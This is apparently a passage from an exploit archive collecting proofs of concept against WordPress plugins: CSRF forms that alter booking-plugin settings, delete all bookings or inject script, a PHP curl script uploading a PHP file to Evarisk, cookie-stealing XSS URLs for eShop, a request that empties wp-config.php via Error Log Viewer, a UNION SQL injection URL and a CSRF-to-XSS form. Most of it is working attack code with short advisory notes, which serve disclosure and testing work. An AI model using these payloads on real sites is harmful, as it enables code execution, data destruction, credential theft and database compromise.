    <input type="hidden" name="uxExceptionsWeekEndsOn" value="">
    <input type="hidden" name="param" value="insertExceptionWeeks">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="Add Block Out">
</form>

Add Cupon
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="uxDefaultCoupon" value="XSS<script>alert('xss')</script>">
    <input type="hidden" name="uxValidFrom" value="2013-08-15">
    <input type="hidden" name="uxValidUpto" value="2013-08-22">
    <input type="hidden" name="uxAmount" value="50">
    <input type="hidden" name="uxDdlAmountType" value="1">
    <input type="hidden" name="uxApplicableOnAllProducts" value="1">
    <input type="hidden" name="uxDdlBookingServices" value="4">
    <input type="hidden" name="param" value="addCoupons">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="Add Cupon">
</form>

Default Settings
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="uxDdlDefaultCurrency" value="United States Dollar">
    <input type="hidden" name="uxDdlDefaultCountry" value="United States of America">
    <input type="hidden" name="uxDefaultDateFormat" value="0">
    <input type="hidden" name="uxDefaultTimeFormat" value="0">
    <input type="hidden" name="uxDefaultTimeZone" value="-5.0">
    <input type="hidden" name="uxServiceDisplayFormat" value="0">
    <input type="hidden" name="param" value="updateGeneralSettings">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="Default Settings">
</form>

Reminder Settings
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="uxReminderSettings" value="1">
    <input type="hidden" name="uxReminderInterval" value="1 hour">
    <input type="hidden" name="param" value="UpdateReminderSettings">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="Reminder Settings">
</form>

PayPal Settings
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    Email: <input type="text" name="uxMerchantEmailAddress" placeholder="enter your PayPal email here">
    <input type="hidden" name="uxPayPal" value="1">
    <input type="hidden" name="uxPayPalUrl" value="https://paypal.com/cgi-bin/webscr";>
    <input type="hidden" name="uxThankyouPageUrl" value="http://google.com";>
    <input type="hidden" name="uxCancellationUrl" value="http://google.com";>
    <input type="hidden" name="param" value="UpdatePaymentGateway">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="PayPal Settings">
</form>

Mailchimp Settings
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="uxMailChimp" value="1">
    <input type="hidden" name="uxMailChimpApiKey" value="12345678">
    <input type="hidden" name="uxMailChimpUniqueId" value="87654321">
    <input type="hidden" name="uxDoubleOptIn" value="false">
    <input type="hidden" name="uxWelcomeEmail" value="false">
    <input type="hidden" name="param" value="UpdateAutoResponder">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="Mailchimp Settings">
</form>

Facebook Connect
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="uxFacebookConnect" value="1">
    <input type="hidden" name="uxFacebookAppId" value="12345678">
    <input type="hidden" name="uxFacebookSecretKey" value="87654321">
    <input type="hidden" name="param" value="UpdateFacebookSocialMedia">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="Facebook Connect">
</form>

Auto Approve
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="uxAutoApprove" value="1">
    <input type="hidden" name="param" value="AutoApprove">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="Auto Approve">
</form>

Delete All Bookings
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="param" value="DeleteAllBookings">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="Delete All Bookings">
</form>

Restore Factory Settings
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="param" value="RestoreFactorySettings">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="Restore Factory Settings">
</form>
HireHackking 
source: https://www.securityfocus.com/bid/53994/info

Evarisk plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Evarisk 5.1.5.4 is vulnerable; other versions may also be affected. 

<?php

$headers = array("Content-Type: application/octet-stream");

$uploadfile="<?php phpinfo(); ?>";
 
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/evarisk/include/lib/actionsCorrectives/activite/uploadPhotoApres.php?qqfile=lo.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, @$uploadfile);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>
HireHackking 
source: https://www.securityfocus.com/bid/49117/info

eShop plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

eShop 6.2.8 is vulnerable; other versions may also be affected.

http://www.example.com/wp-admin/admin.php?page=eshop-templates.php&eshoptemplate=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/wp-admin/admin.php?page=eshop-orders.php&view=1&action=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/wp-admin/admin.php?page=eshop-orders.php&viewemail=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking 
# Exploit Title: WordPress Plugin Error Log Viewer 1.1.1 - Arbitrary File Clearing (Authenticated)
# Date: 09-11-2021
# Exploit Author: Ceylan Bozogullarindan
# Exploit Website: https://bozogullarindan.com
# Vendor Homepage: https://bestwebsoft.com/
# Software Link: https://bestwebsoft.com/products/wordpress/plugins/error-log-viewer/
# Version: 1.1.1
# Tested on: Linux
# CVE: CVE-2021-24966 (https://wpscan.com/vulnerability/166a4f88-4f0c-4bf4-b624-5e6a02e21fa0)


# Description:

Error Log Viewer is a simple utility plugin that helps to find and view log files with errors right from the WordPress admin dashboard. Get access to all log files from one place. View the latest activity, select logs by date, view a full log file or clear a log file!

I've especially emphasized "clearing a log file" statement because the feature of "clearing a log file" can be used to delete an arbitrary file in a Wordpress web site. The reason of the vulnerability is that, the value of a file path which is going to be deleted is not properly and sufficiently controlled. Name of the parameter leading to the vulnerability is "rrrlgvwr_clear_file_name". It can be manipulated only authenticated users.

An attacker can use this vulnerability; to destroy the web site by deleting wp-config.php file, or to cover the fingerprints by clearing related log files.

# Steps To Reproduce

1. Install and activate the plugin.
2. Click the "Log Monitor" available under Error Log Viewer menu item.
3. Choose a log file to clear.
4. Intercept the request via Burp or any other local proxy tool.
5. Replace the value of the parameter "rrrlgvwr_clear_file_name" with a file path which is going to be cleared, such as /var/www/html/wp-config.php.
6. Check the content of the cleared file. You will see that the file is empty.


# PoC - Supported Materials

---------------------------------------------------------------------------
POST /wp-admin/admin.php?page=rrrlgvwr-monitor.php HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 603
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: [admin+]

rrrlgvwr_select_log=%2Fvar%2Fwww%2Fhtml%2Fwp-content%2Fplugins%2Flearnpress%2Finc%2Fgateways%2Fpaypal%2Fpaypal-ipn%2Fipn_errors.log&rrrlgvwr_lines_count=10&rrrlgvwr_from=&rrrlgvwr_to=&rrrlgvwr_show_content=all&rrrlgvwr_newcontent=%5B05-Feb-2015+07%3A28%3A49+UTC%5D+Invalid+HTTP+request+method.%0D%0A%0D%0A++++++++++++++++++++++++&rrrlgvwr_clear_file=Clear+log+file&rrrlgvwr_clear_file_name=/var/www/html/wp-config.php&rrrlgvwr_nonce_name=1283d54cc5&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Drrrlgvwr-monitor.php
---------------------------------------------------------------------------
HireHackking 
source: https://www.securityfocus.com/bid/68558/info

ENL Newsletter plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ENL Newsletter 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=enl-add-new&id=2 union select 1,@@version,3,user(),database(),6,7,8,9,0,1
HireHackking 
# Title: CVE-2015-4010 - Cross-site Request Forgery & Cross-site Scripting in Encrypted
Contact Form Wordpress Plugin v1.0.4
# Submitter: Nitin Venkatesh
# Product: Encrypted Contact Form Wordpress Plugin
# Product URL: https://wordpress.org/plugins/encrypted-contact-form/
# Vulnerability Type: Cross-site Request Forgery [CWE-352], Cross-site
scripting[CWE-79]
# Affected Versions: v1.0.4 and possibly below.
# Tested versions: v1.0.4
# Fixed Version: v1.1
# Link to code diff: https://plugins.trac.wordpress.org/changeset/1125443/
# Changelog: https://wordpress.org/plugins/encrypted-contact-form/changelog/
# CVE Status: CVE-2015-4010

## Product Information:

Secure contact form for WordPress. Uses end-to-end encryption to send user
information. Not even your hosting provider can view the content.

Let users send you information in a secure way. Uses I.CX messaging service
to encrypt user content in their own web browsers before sending to you.

## Vulnerability Description:

The forms in the admin area of the plugin are vulnerable to CSRF, via which
the contact forms generated are susceptible to XSS via unsanitized POST
parametre.

For example, the admin function of updating an existing form can be done
via CSRF. Hence, by submitting a crafted HTML string in the parametres via
CSRF, a XSS attack gets launched which affects all the visitors of the
page(s) containing the contact form.

## Proof of Concept:

<form action="http://localhost/wp-admin/options-general.php?page=conformconf";
method="post">
<input type="hidden" name="name" value="required" />
<input type="hidden" name="email" value="optional" />
<input type="hidden" name="phone" value="off" />
<input type="hidden" name="message" value="required" />
<input type="hidden" name="display_name" value="Example" />
<input type="hidden" name="recipient_name" value="example" />
<input type="hidden" name="cfc_page_name" value="" />
<!-- Wordpress page-id value -->
<input type="hidden" name="existing_page" value="28" />
<input type="hidden" name="cfc_selection" value="upd" />
<input type="hidden" name="iframe_url"
value=""></iframe><script>alert('XSS!');</script>"
/>
<input type="submit" value="Update Page">
</form>

## Solution:

Upgrade to v1.1 of the plugin.

## Disclosure Timeline:

2015-03-26 - Discovered. Contacted developer on support forums.
2015-03-27 - Contacted developer via contact form on vendor site.
2015-04-01 - Fixed v1.1 released.
2015-05-15 - Published disclosure on FD.
2015-05-16 - CVE assigned

## References:

CVE Assign - http://seclists.org/oss-sec/2015/q2/471
http://packetstormsecurity.com/files/131955/
https://wpvulndb.com/vulnerabilities/7992


## Disclaimer:

This disclosure is purely meant for educational purposes. I will in no way
be responsible as to how the information in this disclosure is used.